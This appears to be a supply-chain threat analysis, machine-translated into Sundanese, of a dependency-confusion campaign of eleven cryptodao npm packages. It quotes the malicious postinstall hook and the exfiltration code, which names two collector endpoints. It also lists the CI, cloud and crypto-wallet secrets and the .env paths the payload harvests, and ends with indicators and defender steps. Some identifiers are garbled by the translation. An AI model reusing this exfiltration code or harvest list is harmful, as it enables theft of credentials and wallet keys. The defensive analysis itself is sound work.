Kabingungan CryptoDAO: Panén Paket npm CI/CD sareng Rahasia Kripto

Kabingungan CryptoDAO: sabelas pakét npm, hiji muatan, panén CI/CD sareng rahasia dompét kripto

TL; DR

Dina 2026-06-17, hiji akun npm diterbitkeun sabelas pakét anu ngabagi hiji tujuan sareng hiji muatanSapuluh di antarana mawa cryptodao- awalan (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); anu kasabelas nyaéta anu dicakup @public-for-cdao/core. Unggal hiji dipedalkeun dina vérsi 99.99.99 sareng ngirimkeun byte-identik recon.js anu ngajalankeun postinstall.

Ngaran-ngaran éta téh nu nangtukeun. Éta téh kawas blok wangunan internal tina ranté parabot pribadi proyék crypto/DAO. Dipublikasikeun kana pendaptaran npm publik dina vérsi anu luhur pisan, aranjeunna ngantosan pangwangunanana. pipeline anu dikonfigurasi pikeun ngarengsekeun nami-nami éta sareng anu ngahontal npm umum sateuacan — atanapi tinimbang — pendaptaran pribadi. Ieu kabingungan gumantungna, sareng muatanna disetel persis pikeun tempat anu diarepkeun bakal badarat: CI/CD runners.

Iraha postinstall kahuruan, recon.js ngumpulkeun rincian host, nyapu sacara kasar opat puluh variabel lingkungan awan, CI, sareng crypto-dompét, maca naon waé .env file anu bisa kapanggih sarta diteruskeun garis-garis rusiah sacara verbatim, tuluy dikirimkeun bungkusan éta ka dua kolektor — webhook.site sareng titik tungtung Pipedream — kalayan verifikasi sertipikat TLS dinonaktipkeun. Salinanna ogé ditulis di handapeun /tmp.

Severity: luhurÉkosistem anu kapangaruhan: npmSadaya sawelas pakét parantos sayogi nalika tulisan ieu ditulis.

Anatomi serangan

Mékanismena boga opat bagian anu obah, jeung euweuh hiji ogé anu lemes lamun anjeun nyaho tingali hiji lapisan saluareun nami pakét.

1. Inflasi vérsi salaku umpan resolver. Unggal pakét nyatakeun vérsi 99.99.99Kabingungan gumantungna tiasa dianggo nalika manajer pakét, naroskeun ngaran internal, ogé mariksa pendaptaran umum sareng milih vérsi pangluhurna finds. Pilihan standar npm pikeun rentang caret atanapi wildcard nyaéta vérsi anu paling nyugemakeun di unggal sumber anu dikonfigurasi; upami duanana pribadi pendaptaran sareng jawaban npm umum pikeun nami anu sami, nomer vérsi anu langkung ageung meunang. A 99.99.99 sacara dasarna ngaleuwihan vérsi internal nyata naon waé anu bakal dipiboga ku proyék kahontal, janten resolver anu henteu disematkeun kana sumber pribadi langkung milih salinan umum — sareng dina hal ieu, musuhan — salinan. Operator henteu kedah terang angka vérsi target anu saleresna; milih anu maksimal anu teu masuk akal ngajamin dasi salawasna megatkeun jalanna.

2. Pemicu pasca-instalasi. rangkep.json nyambungkeun muatan ka instalasi siklus kahirupan:

{   "scripts": { "postinstall": "node recon.js" } }

Teu perlu ngimpor pakétna. Cukup masangna — anu mangrupa CI pipeline ngalakukeun sacara otomatis — jalan recon.js.

3. Nyapu rusiah anu lega. recon.js ngumpulkeun susunan hasil sacara bertahap:

  • Kontéks host: ngaran host, platform sareng rilis, arsitéktur, nami pangguna, jalanna diréktori.
  • Variabel lingkungan: éta ngulang daptar tetep sakitar opat puluh nami sareng rékaman naon waé anu parantos ditetepkeun. Daptarna ngungkabkeun — éta ngapasangkeun token CI umum (CI_JOB_TOKEN, CI_REGISTRY_PASSWORD, GITLAB_ACCESS_TOKEN) jeung awan kapercayaan (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) kalayan rahasia pendaptaran sareng wadah (NPM_TOKEN, DOCKER_PASSWORD, SANDI_PELABUHAN) sareng gugusan anu jelas-jelas mibanda rasa kripto:  PRIVATE_KONCE, MNEMONIK, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KONCE, ETH_RPC, BSC_RPCNilai anu dirékam dipotong janten 50 karakter munggaran.
  • .env file: éta nalungtik daptar jalur — .env, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, jeung .produksi/.pangwangunan varian — sareng pikeun file naon waé anu aya, éta nyaring eusina kana baris anu cocog KUNCI|RAHASIA|TOKEN|PASS|PRIVAT|MNEMONIC sareng ngadorong éta baris **sacara lengkep, teu dipotong** kana hasilna.
  • Kontéks Build-host: éta ngadaptar 20 éntri munggaran tina /ngawangun/, /imah/pangjalan-gitlab/wangunan/, /var/lib/gitlab-runner/, sarta /tmp/.

Daptar jalur sareng daptar variabel ditimbang ka arah runner GitLab, anu nunjuk muatanna pas pisan di infrastruktur CI anu di-host ku sorangan tinimbang pamekar laptop. Ngagolongkeun daptar panén dumasar kategori ngajantenkeun hasil panén anu dimaksud rata:

Kategori Variabel / jalur anu kahontal
CI/CD idéntitas & nyebarkeun CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY
awan AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
Registri & wadah NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD
Panyimpen data DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD
Kripto / blockchain PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC
Olahtalatah SLACK_TOKEN, DISCORD_TOKEN
Dina disk .env kulawarga + /home/gitlab-runner/.env, /root/.env, /app/**/.env; daptar diréktori tina /builds/, /var/lib/gitlab-runner/

Klaster crypto nyaéta bagian anu ngabédakeun ieu tina CI-secret umum. sapuan: frasa bibit dompét sareng konci tanda tangan ngan ukur muncul dina lingkungan a proyék blockchain, sareng aranjeunna langsung memetakan kana cryptodao-/tanda/kontrak ngaranan para operator.

4. Eksfiltrasi ganda kalayan verifikasi dinonaktipkeun. Array anu dikumpulkeun nyaéta diserialisasikeun sareng dikirimkeun ka dua tujuan:

const targets = [   { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' },   { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })

nolakTeu diidinan: palsu mareuman cék sertipikat TLS pikeun anu kaluar nelepon. Data anu sami dicitak ka stdout (janten éta ogé lebet kana log padamelan CI) sareng ditulis ka /tmp/.npm_recon_ .jsonKasalahan ditelan sacara teu langsung, janten a kiriman anu gagal teu nyésakeun tapak dina kaluaran pamasangan saluareun hiji [pangintipan] dipasang dina garis.

Koméntar utama dina file éta ngajelaskeun éta salaku "Kabingungan Gumantungna "Beban Pangintaian." Pangurangan nilai lingkungan janten 50 karakter parantos bentuk bukti konsép. Anu mindahkeunana ngalangkungan suar ayana wungkul nyaéta .env penanganan: jalur anu ngandung rahasia diteruskeun sacara lengkep, sareng tujuanana nyaéta dua kolektor anu tiasa dianggo, dikontrol ku panyerang tinimbang hiji bak cuci anu ngan ukur diitung hits.

Gariswanci

Pola publikasi mangrupikeun tanda tangan tina hiji push skrip, sanés sawelas unggahan mandiri.

Waktos (UTC, 2026-06-17) kajadian
03:24:58 cryptodao-bot@99.99.99 diterbitkeun
03:25:01 cryptodao-signer@99.99.99
03:25:04 cryptodao-deploy@99.99.99
03:25:08 cryptodao-backend@99.99.99
03:25:11 cryptodao-contracts@99.99.99
03:25:14 cryptodao-sdk@99.99.99
03:25:18 cryptodao-utils@99.99.99
03:25:21 cryptodao-core@99.99.99
03:25:24 cryptodao-types@99.99.99
03:25:27 cryptodao-config@99.99.99
03:49:59 @public-for-cdao/core@99.99.99 — varian anu dicakup, ~24 menit ti harita

Sapuluh bungkusan dikaluarkeun dina jangka waktu 29 detik, kira-kira hiji unggal tilu detik. Anu dicakup @publik-pikeun-cdao/inti dituturkeun kira-kira 24 menit saatos — sadetik konvénsi penamaan pikeun target anu sami, upami proyék anu dikonsumsi ngarujuk kana ranté pakakas internal dina ruang lingkup tinimbang salaku nami kosong.

Indikator kompromi

ngetik indikator
kolektor hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd
kolektor hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/
Pasangkeun kait postinstall: node recon.js
File anu dileupaskeun /tmp/.npm_recon_<timestamp>.json
Pananda log [recon] <pkg>@<ver> installed on <hostname> (stdout dina log CI)
Paripolah rejectUnauthorized: false dina HTTPS kaluar nalika pamasangan
Beban recon.js, idéntik di sakumna sawelas pakét (hiji wangunan anu dibagi)
Vérsi 99.99.99 dina unggal pakét
bungkusan cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (sadayana 99.99.99)
pausahaan nu ngaluarkeun aduljune / aduljune@proton.me (surelek teu acan diverifikasi, teu aya repositori sumber anu ditautan)

 Atribusi & paripolah anu dititénan

Sagala hal ngeunaan klaster ieu nunjukkeun hiji sisi. Sadaya sawelas pakét parantos diterbitkeun ku akun npm aduljune (aduljune@proton.me, alamat anu teu acan diverifikasi tanpa repositori sumber anu ditautan), dina jangka waktu 25 menit, dina waktos anu sami 99.99.99 vérsi, pangiriman a recon.js anu eusina byte-demi-byte sami di unggal pakét (cocog MD5 di sakumna sawelas salinan anu diekstrak). Éta hiji muatan dicap kana daptar ngaran, sanés panggunaan deui kode anu mandiri.

Daptar ngaran ngahartikeun target anu dituju. cryptodao-* jeung cdao ngajelaskeun tata letak modul pribadi proyék crypto/DAO, sareng daptar panén payload eunteung anu nebak: sajaba ti CI umum sareng rusiah awan, éta khususna ngahontal PRIVATE_KONCE, MNEMONIK, SEED_PHRASE, sareng Ethereum/BSC RPC sareng konci panyadia. .env jalur pamilarian sareng daptar diréktori nyaéta GitLab-runner spésifik. Pangaruh anu tiasa dititénan nyaéta naon waé pipeline dibobodo pikeun masang ieu nami-nami bakal ngirimkeun token CI, konci awan, sareng on-disk na .env rusiah — sareng, kanggo proyék blockchain, bahan dompétna — ka dua kolektor pihak katilu.

Kami henteu ngadamel klaim ngeunaan saha anu ngoperasikeun akun atanapi naon anu aranjeunna rencanakeun pikeun dilakukeun sareng éta. data. Fakta-fakta anu nangtung sorangan: nami-nami éta narékahan hiji jinis anu khusus ranté pakakas internal, payload maca sareng ngirimkeun nilai rahasia anu nyata, sareng infrastruktur parantos hirup.

Dampak, tren, sareng pituduh pembela

Kabingungan gumantungna tetep efektif sabab ngamangpaatkeun paripolah resolver, sanés karentanan dina pakét naon waé. Pamawa di dieu teu pati penting — sawelas ampir kosong pakét — tapi radius ledakan naon waé pipeline salah milih npm publik pikeun ngaran internal. Pelari CI mangrupikeun tempat anu paling awon pikeun éta kajadian: aranjeunna nahan persis token sareng .env file anu dibaca ku payload ieu, teras aranjeunna masang katergantungan sacara non-interaktif, janten a saatos dipasang lumpat tanpa aya nu ningali.

Klaster ieu ogé cocog sareng pola anu teras-terasan urang tingali: muatan waktos pamasangan anu nampilkeun salaku "panalungtikan" atanapi "pangintaian" nalika ngalakukeun pangumpulan kredensial anu nyata. Labélna dina file henteu ngarobih naon anu dilakukeun ku kode dina runner. Dua pilihan desain tetep aktivitasna sepi: unggal operasi jaringan sareng sistem file dibungkus dina hiji pangatur pengecualian anu miceun kasalahan, sapertos kiriman anu diblokir atanapi file anu leungit teu ngahasilkeun kaluaran diagnostik, sareng hiji-hijina anu dicitak nyaéta hiji anu teu ngabahayakeun [recon] … dipasang garis anu nyampur kana obrolan pamasangan normal. Panggunaan situs webhook. sareng Pipedream ogé mangrupikeun genah anu disengaja — duanana gratis, langsung nyayogikeun layanan panangkepan pamundut, janten operator henteu peryogi server tujuanana sorangan sareng tujuanana katingalina sapertos nami host SaaS biasa dina log kaluar.

Ékonomi anu ngajantenkeun ieu pantes diperhatoskeun ku pembela sanaos Kode operator téh gampang. Ngadaptarkeun sabelas ngaran téh teu butuh biaya, muatanna hiji file disalin sawelas kali, sareng manajer paket ngalakukeun sadaya palaksanaanna. Hiji file salah konfigurasi pipeline dimana waé anu nganggo salah sahiji nami ieu mayar sadayana operasi.

Léngkah-léngkah kongkrit pikeun para pembela:

  • Sematkeun cakupan internal kana pendaptaran pribadi anjeun. Konpigurasikeun npm janten nami internal
     sareng cakupan ngan ukur direngsekeun ngalawan pendaptaran anjeun (pemetaan pendaptaran .npmrc anu dicakup,
    atanapi proxy anu henteu pernah dugi ka npm publik pikeun namespaces anu dipiboga). Simpen nami ruang lingkup publik anjeun supados teu aya anu tiasa ngadaptarkeunana.
  • Commit lockfiles teras pasang nganggo –ignore-scripts di CI upami tiasa, atanapi pariksa sakumpulan leutik dependensi anu leres-leres peryogi skrip pamasangan.  recon.js teu tiasa dijalankeun upami saatos dipasang teu dilaksanakeun.
  • Perlakukeun vérsi 99.99.99 (atanapi vérsi anu luar biasa luhurna) tina nami anu katingalina internal salaku bandera beureum dina tinjauan katergantungan sareng pangawasan pendaptaran.
  • Bewara nalika waktos pamasangan kaluar. A saatos dipasang anu muka HTTPS kaluar sambungan — utamana kalayan verifikasi sertipikat dinonaktipkeun — ka webhook.site, Pipedream, atanapi layanan panangkepan pamundut anu sami pantes diblokir di ujung jaringan sareng ditandaan dina log wangunan.
  • Moro artefak-artefak éta. Pariksa runners pikeun /tmp/.npm_recon_*.json sareng pikeun [recon] … dipasang dina … pananda dina log CI anyar. Upami kapendak, puter unggal kredensial anu kakeunaan éta pipeline — Token CI, konci awan, token pendaptaran, sareng sagala siki dompét atanapi konci pribadi anu aya dina file lingkungan atanapi .env.

Rujukan

Teu aya laporan éksternal ngeunaan klaster ieu nalika tulisan ieu ditulis; analisisna di luhur dumasar langsung kana eusi pakét anu dipedalkeun

alat-alat-sca-parangkat lunak-analisis-komposisi
Prioritaskeun, remediasi, sareng amankeun résiko parangkat lunak anjeun
Kéngingkeun Akun Gratis anjeun.
Henteu kedah kartu kiridit.

Amankeun Pangwangunan sareng Pangiriman Parangkat Lunak Anjeun

sareng Xygeni Product Suite